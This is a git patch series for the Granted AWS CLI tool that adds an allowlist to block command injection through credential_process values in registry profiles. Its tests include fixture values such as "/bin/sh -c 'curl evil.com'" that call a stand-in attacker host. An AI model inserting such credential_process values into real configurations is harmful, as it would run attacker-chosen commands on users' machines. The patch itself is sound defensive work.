From 2710b8f22e1bdf3aad09ed06cfca209d36e8b64e Mon Sep 17 00:00:00 2001 From: sbldevnet <34037255+sbldevnet@users.noreply.github.com> Date: Sun, 29 Mar 2026 20:50:21 +0200 Subject: [PATCH 1/2] feat: add AllowedCredentialProcesses allowlist to mitigate credential_process injection via profile registry Registry admins could set arbitrary credential_process values in profiles, allowing command injection when AWS CLI resolves credentials. Add an AllowedCredentialProcesses config option under [ProfileRegistry] in ~/.granted/config that restricts which credential_process command prefixes are accepted from registry-sourced profiles. Profiles with disallowed values are skipped with a warning at sync time. When no allowlist is configured, only "granted credential-process" is permitted by default (secure by default). Orgs with custom credential helpers can explicitly allow them in their config. --- pkg/config/config.go | 13 +- pkg/granted/awsmerge/merge_from_registry.go | 36 +++++- .../awsmerge/merge_from_registry_test.go | 118 ++++++++++++++++++ pkg/granted/registry/add.go | 14 ++- pkg/granted/registry/sync.go | 20 ++- 5 files changed, 180 insertions(+), 21 deletions(-) diff --git a/pkg/config/config.go b/pkg/config/config.go index a4464e52..e09bccad 100644 --- a/pkg/config/config.go +++ b/pkg/config/config.go @@ -75,12 +75,13 @@ type Config struct { ProfileRegistryURLS []string `toml:",omitempty"` ProfileRegistry struct { // add any global configuration to profile registry here. - PrefixAllProfiles bool - PrefixDuplicateProfiles bool - SessionName string `toml:",omitempty"` - RequiredKeys map[string]string `toml:",omitempty"` - Variables map[string]string `toml:",omitempty"` - Registries []Registry `toml:",omitempty"` + PrefixAllProfiles bool + PrefixDuplicateProfiles bool + SessionName string `toml:",omitempty"` + RequiredKeys map[string]string `toml:",omitempty"` + Variables map[string]string `toml:",omitempty"` + Registries []Registry `toml:",omitempty"` + AllowedCredentialProcesses []string `toml:",omitempty"` } `toml:",omitempty"` // CredentialProcessAutoLogin, if 'true', will automatically attempt to diff --git a/pkg/granted/awsmerge/merge_from_registry.go b/pkg/granted/awsmerge/merge_from_registry.go index f37ea4d9..f242530a 100644 --- a/pkg/granted/awsmerge/merge_from_registry.go +++ b/pkg/granted/awsmerge/merge_from_registry.go @@ -16,9 +16,10 @@ import ( ) type RegistryOpts struct { - Name string - PrefixAllProfiles bool - PrefixDuplicateProfiles bool + Name string + PrefixAllProfiles bool + PrefixDuplicateProfiles bool + AllowedCredentialProcesses []string } type DuplicateProfileError struct { @@ -130,6 +131,15 @@ func WithRegistry(src *ini.File, dst *ini.File, opts RegistryOpts) (*ini.File, e continue } + // Check credential_process allowlist for registry profiles + if sec.HasKey("credential_process") { + if !isCredentialProcessAllowed(sec.Key("credential_process").Value(), opts.AllowedCredentialProcesses) { + clio.Warnf("registry profile %s has a credential_process not in the allowlist, skipping: %s", + strings.TrimPrefix(sec.Name(), "profile "), sec.Key("credential_process").Value()) + continue + } + } + if opts.PrefixAllProfiles { f, err := tmp.NewSection(appendNamespaceToDuplicateSections(sec.Name(), namespace)) if err != nil { @@ -308,6 +318,26 @@ func containsTemplate(text string) bool { return re.MatchString(text) } +// defaultAllowedCredentialProcessPrefixes is used when no explicit allowlist is configured. +var defaultAllowedCredentialProcessPrefixes = []string{ + "granted credential-process", +} + +// isCredentialProcessAllowed checks whether a credential_process value +// matches any prefix in the allowlist. Returns true if the value is allowed. +func isCredentialProcessAllowed(value string, allowlist []string) bool { + trimmed := strings.TrimSpace(value) + if len(allowlist) == 0 { + allowlist = defaultAllowedCredentialProcessPrefixes + } + for _, prefix := range allowlist { + if strings.HasPrefix(trimmed, prefix) { + return true + } + } + return false +} + func getGrantedGeneratedSections(config *ini.File, name string) []*ini.Section { var grantedProfiles []*ini.Section diff --git a/pkg/granted/awsmerge/merge_from_registry_test.go b/pkg/granted/awsmerge/merge_from_registry_test.go index 781a20d9..25841b07 100644 --- a/pkg/granted/awsmerge/merge_from_registry_test.go +++ b/pkg/granted/awsmerge/merge_from_registry_test.go @@ -11,6 +11,64 @@ import ( "gopkg.in/ini.v1" ) +func TestIsCredentialProcessAllowed(t *testing.T) { + tests := []struct { + name string + value string + allowlist []string + want bool + }{ + { + name: "default allows granted", + value: "granted credential-process --profile foo", + allowlist: nil, + want: true, + }, + { + name: "default blocks arbitrary command", + value: "/bin/sh -c 'curl evil.com'", + allowlist: nil, + want: false, + }, + { + name: "default blocks empty string", + value: "", + allowlist: nil, + want: false, + }, + { + name: "custom allowlist allows matching prefix", + value: "/usr/local/bin/company-helper --profile dev", + allowlist: []string{"/usr/local/bin/company-helper"}, + want: true, + }, + { + name: "custom allowlist blocks non-matching", + value: "granted credential-process --profile foo", + allowlist: []string{"/usr/local/bin/company-helper"}, + want: false, + }, + { + name: "whitespace trimming", + value: " granted credential-process --profile foo", + allowlist: nil, + want: true, + }, + { + name: "multiple allowlist entries", + value: "/opt/bin/other-tool --arg", + allowlist: []string{"granted credential-process", "/opt/bin/other-tool"}, + want: true, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got := isCredentialProcessAllowed(tt.value, tt.allowlist) + assert.Equal(t, tt.want, got) + }) + } +} + func TestMerger_WithRegistry(t *testing.T) { type args struct { @@ -248,6 +306,66 @@ key1 = value2 `, }, + { + name: "blocked_credential_process_default_allowlist", + args: args{ + opts: RegistryOpts{ + Name: "test", + }, + src: ` +[profile malicious] +credential_process = /bin/sh -c 'curl http://evil.com' +`, + dst: ` +[profile existing] +key2=value2 +`, + }, + want: ` +[profile existing] +key2 = value2 + +# Auto-generated by Granted (https://granted.dev). DO NOT EDIT. +# Manual edits to this section will be overwritten. +# To stop syncing and remove this section, run 'granted registry remove'. +[granted_registry_start test] + +[granted_registry_end test] +`, + }, + { + name: "mixed_profiles_allowed_and_blocked", + args: args{ + opts: RegistryOpts{ + Name: "test", + }, + src: ` +[profile good] +credential_process = granted credential-process --profile good + +[profile bad] +credential_process = /bin/sh -c 'curl evil.com' +`, + dst: ` +[profile existing] +key2=value2 +`, + }, + want: ` +[profile existing] +key2 = value2 + +# Auto-generated by Granted (https://granted.dev). DO NOT EDIT. +# Manual edits to this section will be overwritten. +# To stop syncing and remove this section, run 'granted registry remove'. +[granted_registry_start test] + +[profile good] +credential_process = granted credential-process --profile good + +[granted_registry_end test] +`, + }, { // test case where profile registry entries already exist in the profile file name: "merge_on_existing_profile_registry", diff --git a/pkg/granted/registry/add.go b/pkg/granted/registry/add.go index e1d8778b..9c745384 100644 --- a/pkg/granted/registry/add.go +++ b/pkg/granted/registry/add.go @@ -112,9 +112,10 @@ var AddCommand = cli.Command{ } merged, err := awsmerge.WithRegistry(src, dst, awsmerge.RegistryOpts{ - Name: name, - PrefixAllProfiles: prefixAllProfiles, - PrefixDuplicateProfiles: prefixDuplicateProfiles, + Name: name, + PrefixAllProfiles: prefixAllProfiles, + PrefixDuplicateProfiles: prefixDuplicateProfiles, + AllowedCredentialProcesses: gConf.ProfileRegistry.AllowedCredentialProcesses, }) var dpe awsmerge.DuplicateProfileError if errors.As(err, &dpe) { @@ -142,9 +143,10 @@ var AddCommand = cli.Command{ // try and merge again merged, err = awsmerge.WithRegistry(src, dst, awsmerge.RegistryOpts{ - Name: name, - PrefixAllProfiles: prefixAllProfiles, - PrefixDuplicateProfiles: true, + Name: name, + PrefixAllProfiles: prefixAllProfiles, + PrefixDuplicateProfiles: true, + AllowedCredentialProcesses: gConf.ProfileRegistry.AllowedCredentialProcesses, }) if err != nil { return fmt.Errorf("error after trying to merge profiles again: %w", err) diff --git a/pkg/granted/registry/sync.go b/pkg/granted/registry/sync.go index ea16663b..86ded981 100644 --- a/pkg/granted/registry/sync.go +++ b/pkg/granted/registry/sync.go @@ -8,6 +8,7 @@ import ( "github.com/AlecAivazis/survey/v2" "github.com/common-fate/clio" + grantedConfig "github.com/fwdcloudsec/granted/pkg/config" "github.com/fwdcloudsec/granted/pkg/granted/awsmerge" "github.com/fwdcloudsec/granted/pkg/testable" "github.com/urfave/cli/v2" @@ -34,6 +35,11 @@ var SyncCommand = cli.Command{ // promptUserIfProfileDuplication if true will automatically prefix the duplicate profiles and won't prompt users // this is useful when new registry with higher priority is added and there is duplication with lower priority registry. func SyncProfileRegistries(ctx context.Context, interactive bool) error { + gConf, err := grantedConfig.Load() + if err != nil { + return err + } + registries, err := GetProfileRegistries(interactive) if err != nil { return err @@ -62,9 +68,10 @@ func SyncProfileRegistries(ctx context.Context, interactive bool) error { } merged, err := awsmerge.WithRegistry(src, configFile, awsmerge.RegistryOpts{ - Name: r.Config.Name, - PrefixAllProfiles: r.Config.PrefixAllProfiles, - PrefixDuplicateProfiles: r.Config.PrefixDuplicateProfiles, + Name: r.Config.Name, + PrefixAllProfiles: r.Config.PrefixAllProfiles, + PrefixDuplicateProfiles: r.Config.PrefixDuplicateProfiles, + AllowedCredentialProcesses: gConf.ProfileRegistry.AllowedCredentialProcesses, }) var dpe awsmerge.DuplicateProfileError if interactive && errors.As(err, &dpe) { @@ -91,9 +98,10 @@ func SyncProfileRegistries(ctx context.Context, interactive bool) error { // try and merge again merged, err = awsmerge.WithRegistry(src, configFile, awsmerge.RegistryOpts{ - Name: r.Config.Name, - PrefixAllProfiles: r.Config.PrefixAllProfiles, - PrefixDuplicateProfiles: true, + Name: r.Config.Name, + PrefixAllProfiles: r.Config.PrefixAllProfiles, + PrefixDuplicateProfiles: true, + AllowedCredentialProcesses: gConf.ProfileRegistry.AllowedCredentialProcesses, }) if err != nil { return fmt.Errorf("error after trying to merge profiles again for registry %s: %w", r.Config.Name, err) From 35cdaf3a6f30c23bad290e9c50e31c7cf915d1ca Mon Sep 17 00:00:00 2001 From: sbldevnet <34037255+sbldevnet@users.noreply.github.com> Date: Sun, 29 Mar 2026 21:25:02 +0200 Subject: [PATCH 2/2] feat: improve credential_process allowlist warning message --- pkg/granted/awsmerge/merge_from_registry.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkg/granted/awsmerge/merge_from_registry.go b/pkg/granted/awsmerge/merge_from_registry.go index f242530a..76a064fa 100644 --- a/pkg/granted/awsmerge/merge_from_registry.go +++ b/pkg/granted/awsmerge/merge_from_registry.go @@ -134,7 +134,7 @@ func WithRegistry(src *ini.File, dst *ini.File, opts RegistryOpts) (*ini.File, e // Check credential_process allowlist for registry profiles if sec.HasKey("credential_process") { if !isCredentialProcessAllowed(sec.Key("credential_process").Value(), opts.AllowedCredentialProcesses) { - clio.Warnf("registry profile %s has a credential_process not in the allowlist, skipping: %s", + clio.Warnf("skipping registry profile %q: credential_process not in allowlist (%q)", strings.TrimPrefix(sec.Name(), "profile "), sec.Key("credential_process").Value()) continue }